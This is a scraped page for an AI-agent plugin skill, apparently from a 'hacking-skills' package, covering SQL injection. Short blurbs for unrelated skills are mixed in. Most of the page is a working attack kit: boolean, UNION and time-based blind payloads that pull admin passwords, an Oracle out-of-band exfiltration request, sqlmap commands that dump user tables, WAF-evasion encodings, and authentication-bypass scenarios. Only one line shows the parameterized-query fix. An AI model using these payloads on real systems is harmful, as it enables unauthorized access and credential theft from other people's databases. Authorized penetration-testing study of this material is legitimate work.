From meta
SQL injection occurs when untrusted user input is interpolated directly into database queries, allowing attackers to alter query logic. Detect via single-quote errors, boolean-based blind responses (AND 1=1 vs AND 1=2), time-delay payloads (SLEEP, WAITFOR), UNION column enumeration, and error messages from MySQL, Oracle, MSSQL, PostgreSQL. Tools: sqlmap, sqlbftools, Burp Suite, wfuzz with SQLi fuzz strings.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
SQL injection arises when applications build SQL queries by concatenating user-controlled strings without parameterization or proper escaping. An attacker who controls part of the query can change its semantics — bypassing authentication, extracting data via UNION or blind techniques, writing files, or executing operating-system commands through database-specific features (xp_cmdshell, UTL_HTTP...
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
SQL injection arises when applications build SQL queries by concatenating user-controlled strings without parameterization or proper escaping. An attacker who controls part of the query can change its semantics — bypassing authentication, extracting data via UNION or blind techniques, writing files, or executing operating-system commands through database-specific features (xp_cmdshell, UTL_HTTP). The root cause is treating data as code.
' or semicolon ; in a parameter returns a database error or anomalous responseAND 1=1 returns normal content; AND 1=2 returns empty/different contentORDER BY N-- incrementing until an error reveals column countSLEEP(5) or WAITFOR DELAY '0:0:5'' but not -- or /**/', ", ;, --, /* */ individually and observe response differences (errors, blank pages, changed content).AND 1=1-- (true) vs AND 1=2-- (false).ORDER BY 1--, incrementing until error.UNION SELECT null,null,...-- substituting null with 1 or 'a' to locate string columns.UNION SELECT table_name,null FROM information_schema.tables--UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL)).; INSERT INTO ....# Boolean detection
TARGET/page?id=1 AND 1=1--
TARGET/page?id=1 AND 1=2--
# Column count
TARGET/page?id=10 ORDER BY 5--
# UNION extraction (3-column example)
TARGET/page?id=99999 UNION SELECT 1,version(),3--
TARGET/page?id=99999 UNION SELECT 1,table_name,3 FROM information_schema.tables LIMIT 1--
# Boolean blind character extraction
TARGET/page?id=1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>64--
# Time-based blind (MySQL)
TARGET/page?id=1 AND IF(1=1,SLEEP(5),0)--
# Time-based blind (MSSQL)
TARGET/page?id=1; WAITFOR DELAY '0:0:5'--
# Error-based (Oracle)
TARGET/page?id=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--
# Out-of-band (Oracle)
TARGET/page?id=10||UTL_HTTP.REQUEST('VICTIM:80'||(SELECT user FROM DUAL))--
# sqlmap automation
sqlmap -u "TARGET/page?id=1" --dbs --batch
sqlmap -u "TARGET/page?id=1" -D dbname --tables --batch
sqlmap -u "TARGET/page?id=1" -D dbname -T users --dump --batch
sqlmap -u "TARGET/page?id=1" --data="user=foo&pass=bar" --level=3 --risk=2
OR/**/1=1, OR\n1=1, OR\t1=1UN/**/ION/**/SE/**/LECT%00' UNION SELECT ...%27 for ', %20 for space, %2D%2D for --%2527 → %27 → 'SELECT user FROM users WHERE name=unhex('61646d696e')char() encoding: char(97,100,109,105,110) = "admin"SeLeCt, uNiOnEXEC('SEL'+'ECT 1')OR 'x'='x', OR 2>1, 1||1=1, 1&&1=1, OR 2 BETWEEN 1 AND 3Scenario 1 — Authentication Bypass
Setup: Login form passes username/password directly into SELECT * FROM users WHERE user='$u' AND pass='$p'.
Trigger: Submit username admin'-- with any password. Query becomes WHERE user='admin'--' AND pass='...', commenting out the password check.
Impact: Full admin account access without valid credentials.
Scenario 2 — Data Exfiltration via UNION
Setup: Product search page reflects one database field; column count is 3; column 2 is a string.
Trigger: TARGET/search?q=x' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--
Impact: All username/password hashes returned in the product name field.
Scenario 3 — Blind Time-Based Credential Extraction
Setup: No visible output; application returns 200 for all responses.
Trigger: TARGET/page?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- — iterate characters observing latency.
Impact: Full password hash extraction character by character.
SELECT * FROM users WHERE id = ?[[cmd-injection]] is the OS-level equivalent — both share the same root cause of treating input as code, and both can be tested with similar blind time-delay probes. When SQL injection on a login form bypasses authentication, that outcome is also covered in [[auth-bypass]]. If SQLi leads to file read (LOAD_FILE), [[path-traversal]] techniques apply for target file selection. In mobile apps, [[mobile-code-quality]] covers the same SQLite injection pattern against local databases.